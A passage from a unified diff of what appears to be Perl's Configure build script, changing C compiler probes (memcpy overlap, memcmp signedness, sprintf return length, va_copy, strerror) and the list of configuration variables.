+int main() +{ +char buf[128], abc[128]; +char *b; +int len; +int off; +int align; + +/* Copy "abcde..." string to char abc[] so that gcc doesn't + try to store the string in read-only memory. */ +bcopy("abcdefghijklmnopqrstuvwxyz0123456789", abc, 36); + +for (align = 7; align >= 0; align--) { + for (len = 36; len; len--) { + b = buf+align; + bcopy(abc, b, len); + for (off = 1; off <= len; off++) { + bcopy(b, b+off, len); + bcopy(b+off, b, len); + if (bcmp(b, abc, len)) + exit(1); + } + } +} +exit(0); +} +EOCP + set try + if eval $compile_ok; then + if $run ./try 2>/dev/null; then + echo "Yes, it can." + val="$define" + else + echo "It can't, sorry." + fi + else + echo "(I can't compile the test program, so we'll assume not...)" + fi + ;; + esac + $rm_try + ;; +esac +set d_safebcpy +eval $setvar + +: can memcpy handle overlapping blocks? +echo " " +val="$undef" +case "$d_memmove" in +"$define") echo "I'll use memmove() instead of memcpy() for overlapping copies." ;; +*) case "$d_memcpy" in + "$define") + echo "Checking to see if memcpy() can do overlapping copies..." >&4 + $cat >try.c <>try.c <<'EOCP' +#include +#ifdef I_MEMORY +# include +#endif +#ifdef I_STDLIB +# include +#endif +#ifdef I_STRING +# include +#else +# include +#endif +#ifdef I_UNISTD +# include /* Needed for NetBSD */ +#endif +int main() +{ +char buf[128], abc[128]; +char *b; +int len; +int off; +int align; + +/* Copy "abcde..." string to char abc[] so that gcc doesn't + try to store the string in read-only memory. */ +memcpy(abc, "abcdefghijklmnopqrstuvwxyz0123456789", 36); + +for (align = 7; align >= 0; align--) { + for (len = 36; len; len--) { + b = buf+align; + memcpy(b, abc, len); + for (off = 1; off <= len; off++) { + memcpy(b+off, b, len); + memcpy(b, b+off, len); + if (memcmp(b, abc, len)) + exit(1); + } + } +} +exit(0); +} +EOCP + set try + if eval $compile_ok; then + if $run ./try 2>/dev/null; then + echo "Yes, it can." + val="$define" + else + echo "It can't, sorry." + fi + else + echo "(I can't compile the test program, so we'll assume not...)" + fi + ;; + esac + $rm_try + ;; +esac +set d_safemcpy +eval $setvar + +: can memcmp be trusted to compare relative magnitude? +val="$undef" +case "$d_memcmp" in +"$define") + echo " " + echo "Checking if your memcmp() can compare relative magnitude..." >&4 + $cat >try.c <>try.c <<'EOCP' +#include +#ifdef I_MEMORY +# include +#endif +#ifdef I_STDLIB +# include +#endif +#ifdef I_STRING +# include +#else +# include +#endif +#ifdef I_UNISTD +# include /* Needed for NetBSD */ +#endif +int main() +{ +char a = -1; +char b = 0; +if ((a < b) && memcmp(&a, &b, 1) < 0) + exit(1); +exit(0); +} +EOCP + set try + if eval $compile_ok; then + if $run ./try 2>/dev/null; then + echo "Yes, it can." + val="$define" + else + echo "No, it can't (it uses signed chars)." + fi + else + echo "(I can't compile the test program, so we'll assume not...)" + fi + ;; +esac +$rm_try +set d_sanemcmp +eval $setvar : see if prototype for sbrk is available echo " " @@ -17582,31 +18165,21 @@ END extern int errno; #endif int main() { - union semun -#ifndef HAS_UNION_SEMUN - { - int val; - struct semid_ds *buf; - unsigned short *array; - } -#endif - arg; - struct semid_ds argbuf; + struct semid_ds arg; int sem, st; #if defined(IPC_PRIVATE) && defined(S_IRWXU) && defined(S_IRWXG) && defined(S_IRWXO) && defined(IPC_CREAT) sem = semget(IPC_PRIVATE, 1, S_IRWXU|S_IRWXG|S_IRWXO|IPC_CREAT); if (sem > -1) { - arg.buf = &argbuf; # ifdef IPC_STAT - st = semctl(sem, 0, IPC_STAT, arg); + st = semctl(sem, 0, IPC_STAT, &arg); if (st == 0) printf("semid_ds\n"); else # endif /* IPC_STAT */ printf("semctl IPC_STAT failed: errno = %d\n", errno); # ifdef IPC_RMID - if (semctl(sem, 0, IPC_RMID, arg) != 0) + if (semctl(sem, 0, IPC_RMID, &arg) != 0) # endif /* IPC_RMID */ printf("semctl IPC_RMID failed: errno = %d\n", errno); } else @@ -17690,7 +18263,7 @@ case "$d_setgrent_r" in esac case "$setgrent_r_proto" in ''|0) d_setgrent_r=undef - setgrent_r_proto=0 + setgrent_r_proto=0 echo "Disabling setgrent_r, cannot determine prototype." >&4 ;; * ) case "$setgrent_r_proto" in REENTRANT_PROTO*) ;; @@ -17739,7 +18312,7 @@ case "$d_sethostent_r" in esac case "$sethostent_r_proto" in ''|0) d_sethostent_r=undef - sethostent_r_proto=0 + sethostent_r_proto=0 echo "Disabling sethostent_r, cannot determine prototype." >&4 ;; * ) case "$sethostent_r_proto" in REENTRANT_PROTO*) ;; @@ -17796,7 +18369,7 @@ case "$d_setlocale_r" in esac case "$setlocale_r_proto" in ''|0) d_setlocale_r=undef - setlocale_r_proto=0 + setlocale_r_proto=0 echo "Disabling setlocale_r, cannot determine prototype." >&4 ;; * ) case "$setlocale_r_proto" in REENTRANT_PROTO*) ;; @@ -17845,7 +18418,7 @@ case "$d_setnetent_r" in esac case "$setnetent_r_proto" in ''|0) d_setnetent_r=undef - setnetent_r_proto=0 + setnetent_r_proto=0 echo "Disabling setnetent_r, cannot determine prototype." >&4 ;; * ) case "$setnetent_r_proto" in REENTRANT_PROTO*) ;; @@ -17910,7 +18483,7 @@ case "$d_setprotoent_r" in esac case "$setprotoent_r_proto" in ''|0) d_setprotoent_r=undef - setprotoent_r_proto=0 + setprotoent_r_proto=0 echo "Disabling setprotoent_r, cannot determine prototype." >&4 ;; * ) case "$setprotoent_r_proto" in REENTRANT_PROTO*) ;; @@ -17959,7 +18532,7 @@ case "$d_setpwent_r" in esac case "$setpwent_r_proto" in ''|0) d_setpwent_r=undef - setpwent_r_proto=0 + setpwent_r_proto=0 echo "Disabling setpwent_r, cannot determine prototype." >&4 ;; * ) case "$setpwent_r_proto" in REENTRANT_PROTO*) ;; @@ -18028,7 +18601,7 @@ case "$d_setservent_r" in esac case "$setservent_r_proto" in ''|0) d_setservent_r=undef - setservent_r_proto=0 + setservent_r_proto=0 echo "Disabling setservent_r, cannot determine prototype." >&4 ;; * ) case "$setservent_r_proto" in REENTRANT_PROTO*) ;; @@ -18276,8 +18849,11 @@ eval $inhdr : see if signbit exists $echo $n "Checking to see if you have signbit() available to work on $nvtype... $c" >&4 $cat >try.c < +#ifdef I_MATH +# include +#endif #ifdef I_SUNMATH /* Solaris special math library */ # include #endif @@ -18442,6 +19018,69 @@ eval $hasproto set socks5_init d_socks5_init eval $inlibc +: see if sprintf returns the length of the string in the buffer as per ANSI +$echo "Checking whether sprintf returns the length of the string..." >&4 +$cat <try.c +#include +#$i_stdlib I_STDLIB +#ifdef I_STDLIB +#include +#endif +#$i_string I_STRING +#ifdef I_STRING +# include +#else +# include +#endif +#$i_math I_MATH +#ifdef I_MATH +#include +#endif + +char buffer[256]; + +int check (size_t expect, int test) { + size_t got = strlen(buffer); + if (expect == got) + return 0; + + printf("expected %ld, got %ld in test %d '%s'\n", (long) expect, (long) got, + test, buffer); + exit (test); +} + +int main(int argc, char **argv) { + int test = 0; + + check(sprintf(buffer, ""), ++test); + check(sprintf(buffer, "%s %s", "perl", "rules"), ++test); + check(sprintf(buffer, "I like %g", atan2(0,-1)), ++test); + + return 0; +} +EOP +set try + +if eval $compile; then + xxx="`$run ./try`" + case "$?" in + 0) cat >&4 <&4 <&4 + d_sprintf_returns_strlen="$undef" +fi +$rm_try + : see if srand48_r exists set srand48_r d_srand48_r eval $inlibc @@ -18462,7 +19101,7 @@ case "$d_srand48_r" in esac case "$srand48_r_proto" in ''|0) d_srand48_r=undef - srand48_r_proto=0 + srand48_r_proto=0 echo "Disabling srand48_r, cannot determine prototype." >&4 ;; * ) case "$srand48_r_proto" in REENTRANT_PROTO*) ;; @@ -18503,7 +19142,7 @@ case "$d_srandom_r" in esac case "$srandom_r_proto" in ''|0) d_srandom_r=undef - srandom_r_proto=0 + srandom_r_proto=0 echo "Disabling srandom_r, cannot determine prototype." >&4 ;; * ) case "$srandom_r_proto" in REENTRANT_PROTO*) ;; @@ -18566,6 +19205,7 @@ case "$d_statfs_s" in *) echo "No, it doesn't." ;; esac + : see if struct statfs knows about f_flags case "$d_statfs_s" in define) @@ -18695,7 +19335,7 @@ $cat >&4 <try.c <try.c < int main() { if (&STDIO_STREAM_ARRAY[fileno(stdin)] == stdin) @@ -18706,7 +19346,7 @@ EOCP do set try -DSTDIO_STREAM_ARRAY=$s if eval $compile; then - case "`$run ./try`" in + case "`$run ./try`" in yes) stdio_stream_array=$s; break ;; esac fi @@ -18730,6 +19370,69 @@ esac set strcoll d_strcoll eval $inlibc +: check for structure copying +echo " " +echo "Checking to see if your C compiler can copy structs..." >&4 +$cat >try.c <<'EOCP' +int main() +{ + struct blurfl { + int dyick; + } foo, bar; + + foo = bar; +} +EOCP +if $cc -c try.c >/dev/null 2>&1 ; then + val="$define" + echo "Yup, it can." +else + val="$undef" + echo "Nope, it can't." +fi +set d_strctcpy +eval $setvar +$rm_try + +: see if strerror and/or sys_errlist[] exist +echo " " +if test "X$d_strerror" = X -o "X$d_syserrlst" = X; then + if set strerror val -f d_strerror; eval $csym; $val; then + echo 'strerror() found.' >&4 + d_strerror="$define" + d_strerrm='strerror(e)' + if set sys_errlist val -a d_syserrlst; eval $csym; $val; then + echo "(You also have sys_errlist[], so we could roll our own strerror.)" + d_syserrlst="$define" + else + echo "(Since you don't have sys_errlist[], strerror() is welcome.)" + d_syserrlst="$undef" + fi + elif xxx=`./findhdr string.h`; test "$xxx" || xxx=`./findhdr strings.h`; \ + $contains '#[ ]*define.*strerror' "$xxx" >/dev/null 2>&1; then + echo 'strerror() found in string header.' >&4 + d_strerror="$define" + d_strerrm='strerror(e)' + if set sys_errlist val -a d_syserrlst; eval $csym; $val; then + echo "(Most probably, strerror() uses sys_errlist[] for descriptions.)" + d_syserrlst="$define" + else + echo "(You don't appear to have any sys_errlist[], how can this be?)" + d_syserrlst="$undef" + fi + elif set sys_errlist val -a d_syserrlst; eval $csym; $val; then + echo "strerror() not found, but you have sys_errlist[] so we'll use that." >&4 + d_strerror="$undef" + d_syserrlst="$define" + d_strerrm='((e)<0||(e)>=sys_nerr?"unknown":sys_errlist[e])' + else + echo 'strerror() and sys_errlist[] NOT found.' >&4 + d_strerror="$undef" + d_syserrlst="$undef" + d_strerrm='"unknown"' + fi +fi + : see if strerror_l exists set strerror_l d_strerror_l eval $inlibc @@ -18739,7 +19442,7 @@ set strerror_r d_strerror_r eval $inlibc case "$d_strerror_r" in "$define") - hdrs="$i_systypes sys/types.h define stdio.h define string.h" + hdrs="$i_systypes sys/types.h define stdio.h $i_string string.h" case "$d_strerror_r_proto:$usethreads" in ":define") d_strerror_r_proto=define set d_strerror_r_proto strerror_r $hdrs @@ -18762,7 +19465,7 @@ case "$d_strerror_r" in esac case "$strerror_r_proto" in ''|0) d_strerror_r=undef - strerror_r_proto=0 + strerror_r_proto=0 echo "Disabling strerror_r, cannot determine prototype." >&4 ;; * ) case "$strerror_r_proto" in REENTRANT_PROTO*) ;; @@ -18795,18 +19498,10 @@ eval $inlibc set strlcpy d_strlcpy eval $inlibc -: see if strnlen exists -set strnlen d_strnlen -eval $inlibc - : see if strtod exists set strtod d_strtod eval $inlibc -: see if strtod_l exists -set strtod_l d_strtod_l -eval $inlibc - : see if strtol exists set strtol d_strtol eval $inlibc @@ -18815,10 +19510,6 @@ eval $inlibc set strtold d_strtold eval $inlibc -: see if strtold_l exists -set strtold_l d_strtold_l -eval $inlibc - : see if strtoll exists set strtoll d_strtoll eval $inlibc @@ -18916,7 +19607,7 @@ EOCP check("-1", 18446744073709551615UL, 0); check("-18446744073709551614", 2, 0); check("-18446744073709551615", 1, 0); - check("-18446744073709551616", 18446744073709551615UL, ERANGE); + check("-18446744073709551616", 18446744073709551615UL, ERANGE); check("-18446744073709551617", 18446744073709551615UL, ERANGE); #endif EOCP @@ -18929,7 +19620,7 @@ EOCP check("-1", 4294967295UL, 0); check("-4294967294", 2, 0); check("-4294967295", 1, 0); - check("-4294967296", 4294967295UL, ERANGE); + check("-4294967296", 4294967295UL, ERANGE); check("-4294967297", 4294967295UL, ERANGE); #endif EOCP @@ -18995,7 +19686,7 @@ int main() { check("-1", 18446744073709551615ULL, 0); check("-18446744073709551614", 2LL, 0); check("-18446744073709551615", 1LL, 0); - check("-18446744073709551616", 18446744073709551615ULL, ERANGE); + check("-18446744073709551616", 18446744073709551615ULL, ERANGE); check("-18446744073709551617", 18446744073709551615ULL, ERANGE); #endif if (!bad) @@ -19049,7 +19740,7 @@ int main() { check("-1", 18446744073709551615ULL, 0); check("-18446744073709551614", 2LL, 0); check("-18446744073709551615", 1LL, 0); - check("-18446744073709551616", 18446744073709551615ULL, ERANGE); + check("-18446744073709551616", 18446744073709551615ULL, ERANGE); check("-18446744073709551617", 18446744073709551615ULL, ERANGE); #endif if (!bad) @@ -19095,18 +19786,6 @@ eval $hasproto set sysconf d_sysconf eval $inlibc -: see if sys_errlist[] exists -echo " " -if test "X$d_syserrlst" = X; then - if set sys_errlist val -a d_syserrlst; eval $csym; $val; then - echo "You have sys_errlist[], so we could roll our own strerror." - d_syserrlst="$define" - else - echo "You don't have sys_errlist[], so strerror() is welcome." - d_syserrlst="$undef" - fi -fi - : see if system exists set system d_system eval $inlibc @@ -19128,90 +19807,6 @@ eval $hasproto set tgamma d_tgamma eval $inlibc -: check for thread_safe_nl_langinfo_l item -$cat <try.c < -#endif -#include -#$i_langinfo I_LANGINFO -#ifdef I_LANGINFO -# include -#endif -#$i_pthread I_PTHREAD -#ifdef I_PTHREAD -# include -#endif -#$i_locale I_LOCALE -#ifdef I_LOCALE -# include -#endif - -void * -thread_start(void * arg) -{ - nl_langinfo(RADIXCHAR); -} - -int main() { - char * main_buffer; - char save_main_buffer[1000]; - pthread_t subthread; - pthread_attr_t attr; - - main_buffer = nl_langinfo_l(CODESET, newlocale(LC_ALL_MASK, "C", 0)); - - /* If too large for our generous allowance, just assume we don't have - * it. */ - if (strlen(main_buffer) >= sizeof(save_main_buffer)) { - exit(1); - } - - strcpy(save_main_buffer, main_buffer); - - if (pthread_attr_init(&attr) != 0) { - exit(1); - } - - if (pthread_create(&subthread, &attr, thread_start, NULL) != 0) { - exit(1); - } - - if (pthread_join(subthread, NULL) != 0) { - exit(1); - } - - exit(! (strcmp(main_buffer, save_main_buffer) == 0)); -} -EOCP -case "$usethreads" in - define) - set try - if eval $compile; then - echo "Your system has nl_langinfo_l()..." >&4 - if $run ./try; then - echo "and it is thread-safe (just as I'd hoped)." >&4 - d_thread_safe_nl_langinfo_l="$define" - echo "$d_thread_safe_nl_langinfo_l" >&4 - else - echo "but it isn't thread-safe, so we won't use it." >&4 - fi - else - echo "your system does not have nl_langinfo_l()" >&4 - fi - ;; - *) echo "Since threads aren't selected, we won't bother looking for nl_langinfo_l()" >&4 -esac -if test X"$d_thread_safe_nl_langinfo_l" = X; then - d_thread_safe_nl_langinfo_l="$undef" -fi -$rm_try - : see if time exists echo " " if test "X$d_time" = X -o X"$timetype" = X; then @@ -19276,7 +19871,7 @@ case "$d_tmpnam_r" in esac case "$tmpnam_r_proto" in ''|0) d_tmpnam_r=undef - tmpnam_r_proto=0 + tmpnam_r_proto=0 echo "Disabling tmpnam_r, cannot determine prototype." >&4 ;; * ) case "$tmpnam_r_proto" in REENTRANT_PROTO*) ;; @@ -19333,7 +19928,7 @@ case "$d_ttyname_r" in esac case "$ttyname_r_proto" in ''|0) d_ttyname_r=undef - ttyname_r_proto=0 + ttyname_r_proto=0 echo "Disabling ttyname_r, cannot determine prototype." >&4 ;; * ) case "$ttyname_r_proto" in REENTRANT_PROTO*) ;; @@ -19614,10 +20209,14 @@ case "$d_closedir" in #include #else #ifdef I_SYS_DIR +#ifdef hp9000s500 +#include /* may be wrong in the future */ +#else #include #endif #endif #endif +#endif int main() { return closedir(opendir(".")); } EOM set try @@ -20066,8 +20665,14 @@ $cat >try.c < -#include +#endif +#ifdef I_STRING +# include +#endif #include /* Note that whether the sign bit is on or off * for NaN depends on the CPU/FPU, and possibly @@ -20256,8 +20861,11 @@ $rm_try : Check the length of the double mantissa $echo "Checking how many mantissa bits your doubles have..." >&4 $cat >try.c < +#ifdef I_FLOAT +# include +#endif #ifdef I_SUNMATH # include #endif @@ -20283,8 +20891,11 @@ $rm_try : Check the length of the longdouble mantissa $echo "Checking how many mantissa bits your long doubles have..." >&4 $cat >try.c < +#ifdef I_FLOAT +# include +#endif #ifdef I_SUNMATH # include #endif @@ -20545,7 +21156,7 @@ if $test "X$fflushNULL" = X -o "X$fflushall" = X; then fi : check for fflush NULL behavior case "$fflushNULL" in -'') set try -DTRY_FFLUSH_NULL $output +'') set try -DTRY_FFLUSH_NULL $output if eval $compile; then $run ./try 2>/dev/null code="$?" @@ -20679,7 +21290,7 @@ Good, at least fflush(stdin) seems to behave okay when stdin is a pipe. EOM : now check for fflushall behaviour case "$fflushall" in - '') set try -DTRY_FFLUSH_ALL $output + '') set try -DTRY_FFLUSH_ALL $output if eval $compile; then $cat >&4 <&4 fi + : Check if GID is signed echo " " case "$gidtype" in @@ -20848,6 +21460,7 @@ else echo "(I can't compile the test program--guessing unsigned.)" >&4 fi + : Check 64bit sizes echo " " @@ -20870,7 +21483,7 @@ EOCP case "$yyy" in 12345678901) sPRId64='"d"'; sPRIi64='"i"'; sPRIu64='"u"'; - sPRIo64='"o"'; sPRIx64='"x"'; sPRIXU64='"X"'; + sPRIo64='"o"'; sPRIx64='"x"'; sPRIXU64='"X"'; echo "We will use %d." ;; esac @@ -20892,7 +21505,7 @@ EOCP case "$yyy" in 12345678901) sPRId64='"ld"'; sPRIi64='"li"'; sPRIu64='"lu"'; - sPRIo64='"lo"'; sPRIx64='"lx"'; sPRIXU64='"lX"'; + sPRIo64='"lo"'; sPRIx64='"lx"'; sPRIXU64='"lX"'; echo "We will use %ld." ;; esac @@ -20915,7 +21528,7 @@ EOCP case "$yyy" in 12345678901) sPRId64=PRId64; sPRIi64=PRIi64; sPRIu64=PRIu64; - sPRIo64=PRIo64; sPRIx64=PRIx64; sPRIXU64=PRIXU64; + sPRIo64=PRIo64; sPRIx64=PRIx64; sPRIXU64=PRIXU64; echo "We will use the C9X style." ;; esac @@ -20937,7 +21550,7 @@ EOCP case "$yyy" in 12345678901) sPRId64='"Ld"'; sPRIi64='"Li"'; sPRIu64='"Lu"'; - sPRIo64='"Lo"'; sPRIx64='"Lx"'; sPRIXU64='"LX"'; + sPRIo64='"Lo"'; sPRIx64='"Lx"'; sPRIXU64='"LX"'; echo "We will use %Ld." ;; esac @@ -20959,7 +21572,7 @@ EOCP case "$yyy" in 12345678901) sPRId64='"lld"'; sPRIi64='"lli"'; sPRIu64='"llu"'; - sPRIo64='"llo"'; sPRIx64='"llx"'; sPRIXU64='"llX"'; + sPRIo64='"llo"'; sPRIx64='"llx"'; sPRIXU64='"llX"'; echo "We will use the %lld style." ;; esac @@ -20981,7 +21594,7 @@ EOCP case "$yyy" in 12345678901) sPRId64='"qd"'; sPRIi64='"qi"'; sPRIu64='"qu"'; - sPRIo64='"qo"'; sPRIx64='"qx"'; sPRIXU64='"qX"'; + sPRIo64='"qo"'; sPRIx64='"qx"'; sPRIXU64='"qX"'; echo "We will use %qd." ;; esac @@ -21168,10 +21781,15 @@ eval $typedef_ask : see if we need va_copy echo " " -$cat >try.c <try.c < #include +#$i_stdlib I_STDLIB +#ifdef I_STDLIB #include +#endif #include int @@ -21203,23 +21821,28 @@ main(int ac, char **av) exit(0); } EOCP -set try -if eval $compile && $run ./try 2>&1 >/dev/null; then - case "`$run ./try`" in - "that's all right, then") - okay=yes + set try + if eval $compile && $run ./try 2>&1 >/dev/null; then + case "`$run ./try`" in + "that's all right, then") + okay=yes + ;; + esac + fi + case "$okay" in + yes) echo "It seems that you don't need va_copy()." >&4 + need_va_copy="$undef" + ;; + *) echo "It seems that va_copy() or similar will be needed." >&4 + need_va_copy="$define" ;; esac -fi -case "$okay" in -yes) echo "It seems that you don't need va_copy()." >&4 - need_va_copy="$undef" + $rm_try ;; -*) echo "It seems that va_copy() or similar will be needed." >&4 - need_va_copy="$define" +*) echo "You don't have , not checking for va_copy()." >&4 + need_va_copy="$undef" ;; esac -$rm_try : see what type is used for size_t rp="What is the type used for the length parameter for string functions?" @@ -21438,15 +22061,25 @@ else fi $rm -f foo* bar* +: see if this is a values.h system +set values.h i_values +eval $inhdr + : Check the max offset that gmtime and localtime accept echo "Checking max offsets that gmtime () accepts" +case $i_values in + define) yyy="#include " ;; + *) yyy="" ;; + esac + case "$sGMTIME_min/$sGMTIME_max" in 0/0|/) $cat >try.c < #include #include +$yyy int i; struct tm *tmp; @@ -21525,6 +22158,7 @@ case "$sLOCALTIME_min/$sLOCALTIME_max" in #include #include #include +$yyy int i; struct tm *tmp; @@ -21993,17 +22627,17 @@ case "$doinit" in yes) echo "Generating a list of signal names and numbers..." >&4 . ./signal_cmd - sig_count=`$awk '/^NSIG/ { printf "%d", $2 }' signal.lst` - sig_name=`$awk 'BEGIN { printf "ZERO " } - !/^NSIG/ { printf "%s ", $1 }' signal.lst` - sig_num=`$awk 'BEGIN { printf "0 " } - !/^NSIG/ { printf "%d ", $2 }' signal.lst` - sig_name_init=`$awk 'BEGIN { printf "\"ZERO\", " } - !/^NSIG/ { printf "\"%s\", ", $1 } - END { printf "0\n" }' signal.lst` - sig_num_init=`$awk 'BEGIN { printf "0, " } - !/^NSIG/ { printf "%d, ", $2} - END { printf "0\n"}' signal.lst` + sig_count=`$awk '/^NSIG/ { printf "%d", $2 }' signal.lst` + sig_name=`$awk 'BEGIN { printf "ZERO " } + !/^NSIG/ { printf "%s ", $1 }' signal.lst` + sig_num=`$awk 'BEGIN { printf "0 " } + !/^NSIG/ { printf "%d ", $2 }' signal.lst` + sig_name_init=`$awk 'BEGIN { printf "\"ZERO\", " } + !/^NSIG/ { printf "\"%s\", ", $1 } + END { printf "0\n" }' signal.lst` + sig_num_init=`$awk 'BEGIN { printf "0, " } + !/^NSIG/ { printf "%d, ", $2} + END { printf "0\n"}' signal.lst` ;; esac echo "The following $sig_count signals are available:" @@ -22062,6 +22696,7 @@ else echo "(I can't compile the test program--guessing $sizesize.)" >&4 fi + : check for socklen_t echo " " echo "Checking to see if you have socklen_t..." >&4 @@ -22334,6 +22969,7 @@ else echo "(I can't compile the test program--guessing unsigned.)" >&4 fi + : Check format string for UID echo " " $echo "Checking the format string to be used for uids..." >&4 @@ -22598,6 +23234,21 @@ case "$usesitecustomize" in ;; esac +: see if prototypes support variable argument declarations +echo " " +case "$prototype$i_stdarg" in +$define$define) + echo "It appears we'll be able to prototype varargs functions." >&4 + val="$define" + ;; +*) + echo "Too bad... We won't be using prototyped varargs functions..." >&4 + val="$undef" + ;; +esac +set vaproto +eval $setvar + : determine compiler compiler case "$yacc" in '') @@ -22629,6 +23280,10 @@ case "$yacc" in ;; esac +: see if this is a assert.h system +set assert.h i_assert +eval $inhdr + : see if this is a bfd.h system set bfd.h i_bfd eval $inhdr @@ -22752,7 +23407,7 @@ FAVOR_BSD FILE_OFFSET_BITS FORTIFY_SOURCE FreeBSD GCC_NEW_VARARGS gcos gcx gimpel GLIBC GLIBC_MINOR GNUC GNUC_MINOR GNU_LIBRARY GNU_SOURCE GO32 gould GOULD_PN H3050R H3050RX hbullx20 hcx host_mips hp200 hp300 HP700 hp700 -hp800 hp9000 hp9000s200 hp9000s300 hp9000s400 +hp800 hp9000 hp9000s200 hp9000s300 hp9000s400 hp9000s500 hp9000s700 hp9000s800 hp9k8 hppa hpux HPUX_SOURCE hp_osf i186 i286 i386 i486 i586 i686 i8086 i80960 i860 I960 IA32 IA64 iAPX286 ibm ibm032 ibmesa IBMR2 ibmrt ILP32 ILP64 @@ -22851,7 +23506,7 @@ cat <<'EOSH' >> Cppsym.try printf "#ifdef _%s\nprintf(\"_%s=%%s\\n\", STRINGIFY(_%s));\n#endif\n", $1, $1, $1 printf "#ifdef __%s\nprintf(\"__%s=%%s\\n\", STRINGIFY(__%s));\n#endif\n", $1, $1, $1 printf "#ifdef __%s__\nprintf(\"__%s__=%%s\\n\", STRINGIFY(__%s__));\n#endif\n", $1, $1, $1 -}' >> try.c +}' >> try.c echo 'return 0;}' >> try.c EOSH cat <> Cppsym.try @@ -22975,24 +23630,6 @@ case "$gccversion" in ;; esac -: script used to emit important warnings -cat >warn <msg -else - cat >msg -fi -echo "*** WARNING:" >&4 -sed -e 's/^/*** /' &4 -echo "*** " >&4 -cat msg >>config.msg -echo " " >>config.msg -rm -f msg -EOS -chmod +x warn -$eunicefix warn - : see if this is a termio system val="$undef" val2="$undef" @@ -23077,6 +23714,10 @@ $rm_try set i_stdbool eval $setvar +: see if stddef is available +set stddef.h i_stddef +eval $inhdr + : see if stdint is available set stdint.h i_stdint eval $inhdr @@ -23181,10 +23822,6 @@ case "$d_vfork" in ;; esac -: see if wchar.h is present -set wchar.h i_wchar -eval $inhdr - : Check extensions echo " " echo "Looking for extensions..." >&4 @@ -23283,6 +23920,11 @@ for xxx in $xs_extensions ; do $define) avail_ext="$avail_ext $xxx" ;; esac ;; + I18N/Langinfo|i18n_lan) + case "$i_langinfo$d_nl_langinfo" in + $define$define) avail_ext="$avail_ext $xxx" ;; + esac + ;; IPC/SysV|ipc/sysv) : XXX Do we need a useipcsysv variable here case "${d_msg}${d_sem}${d_shm}" in @@ -23336,11 +23978,6 @@ for xxx in $xs_extensions ; do true|$define|y) avail_ext="$avail_ext $xxx" ;; esac ;; - I18N/Langinfo|langinfo) - case "$uselanginfo" in - true|define|y) avail_ext="$avail_ext $xxx" ;; - esac - ;; Sys/Syslog|sys/syslog) case $osname in amigaos) ;; # not really very useful on AmigaOS @@ -23722,6 +24359,7 @@ _o='$_o' afs='$afs' afsroot='$afsroot' alignbytes='$alignbytes' +ansi2knr='$ansi2knr' aphostname='$aphostname' api_revision='$api_revision' api_subversion='$api_subversion' @@ -23797,7 +24435,6 @@ d_PRIu64='$d_PRIu64' d_PRIx64='$d_PRIx64' d_SCNfldbl='$d_SCNfldbl' d__fwalk='$d__fwalk' -d_accept4='$d_accept4' d_access='$d_access' d_accessx='$d_accessx' d_acosh='$d_acosh' @@ -23819,18 +24456,19 @@ d_attribute_pure='$d_attribute_pure' d_attribute_unused='$d_attribute_unused' d_attribute_warn_unused_result='$d_attribute_warn_unused_result' d_backtrace='$d_backtrace' +d_bcmp='$d_bcmp' +d_bcopy='$d_bcopy' d_bsd='$d_bsd' d_bsdgetpgrp='$d_bsdgetpgrp' d_bsdsetpgrp='$d_bsdsetpgrp' -d_builtin_add_overflow='$d_builtin_add_overflow' d_builtin_choose_expr='$d_builtin_choose_expr' d_builtin_expect='$d_builtin_expect' -d_builtin_mul_overflow='$d_builtin_mul_overflow' -d_builtin_sub_overflow='$d_builtin_sub_overflow' +d_bzero='$d_bzero' d_c99_variadic_macros='$d_c99_variadic_macros' d_casti32='$d_casti32' d_castneg='$d_castneg' d_cbrt='$d_cbrt' +d_charvspr='$d_charvspr' d_chown='$d_chown' d_chroot='$d_chroot' d_chsize='$d_chsize' @@ -23850,6 +24488,7 @@ d_ctermid_r='$d_ctermid_r' d_ctime64='$d_ctime64' d_ctime_r='$d_ctime_r' d_cuserid='$d_cuserid' +d_dbl_dig='$d_dbl_dig' d_dbminitproto='$d_dbminitproto' d_difftime64='$d_difftime64' d_difftime='$d_difftime' @@ -23872,7 +24511,6 @@ d_double_style_vax='$d_double_style_vax' d_drand48_r='$d_drand48_r' d_drand48proto='$d_drand48proto' d_dup2='$d_dup2' -d_dup3='$d_dup3' d_duplocale='$d_duplocale' d_eaccess='$d_eaccess' d_endgrent='$d_endgrent' @@ -23896,7 +24534,6 @@ d_expm1='$d_expm1' d_faststdio='$d_faststdio' d_fchdir='$d_fchdir' d_fchmod='$d_fchmod' -d_fchmodat='$d_fchmodat' d_fchown='$d_fchown' d_fcntl='$d_fcntl' d_fcntl_can_lock='$d_fcntl_can_lock' @@ -24007,6 +24644,7 @@ d_hypot='$d_hypot' d_ilogb='$d_ilogb' d_ilogbl='$d_ilogbl' d_inc_version_list='$d_inc_version_list' +d_index='$d_index' d_inetaton='$d_inetaton' d_inetntop='$d_inetntop' d_inetpton='$d_inetpton' @@ -24037,12 +24675,10 @@ d_lgamma_r='$d_lgamma_r' d_libm_lib_version='$d_libm_lib_version' d_libname_unique='$d_libname_unique' d_link='$d_link' -d_linkat='$d_linkat' d_llrint='$d_llrint' d_llrintl='$d_llrintl' d_llround='$d_llround' d_llroundl='$d_llroundl' -d_localeconv_l='$d_localeconv_l' d_localtime64='$d_localtime64' d_localtime_r='$d_localtime_r' d_localtime_r_needs_tzset='$d_localtime_r_needs_tzset' @@ -24068,16 +24704,17 @@ d_madvise='$d_madvise' d_malloc_good_size='$d_malloc_good_size' d_malloc_size='$d_malloc_size' d_mblen='$d_mblen' -d_mbrlen='$d_mbrlen' -d_mbrtowc='$d_mbrtowc' d_mbstowcs='$d_mbstowcs' d_mbtowc='$d_mbtowc' +d_memchr='$d_memchr' +d_memcmp='$d_memcmp' +d_memcpy='$d_memcpy' d_memmem='$d_memmem' -d_memrchr='$d_memrchr' +d_memmove='$d_memmove' +d_memset='$d_memset' d_mkdir='$d_mkdir' d_mkdtemp='$d_mkdtemp' d_mkfifo='$d_mkfifo' -d_mkostemp='$d_mkostemp' d_mkstemp='$d_mkstemp' d_mkstemps='$d_mkstemps' d_mktime64='$d_mktime64' @@ -24101,7 +24738,6 @@ d_msync='$d_msync' d_munmap='$d_munmap' d_mymalloc='$d_mymalloc' d_nan='$d_nan' -d_nanosleep='$d_nanosleep' d_ndbm='$d_ndbm' d_ndbm_h_uses_prototypes='$d_ndbm_h_uses_prototypes' d_nearbyint='$d_nearbyint' @@ -24117,12 +24753,10 @@ d_old_pthread_create_joinable='$d_old_pthread_create_joinable' d_oldpthreads='$d_oldpthreads' d_oldsock='$d_oldsock' 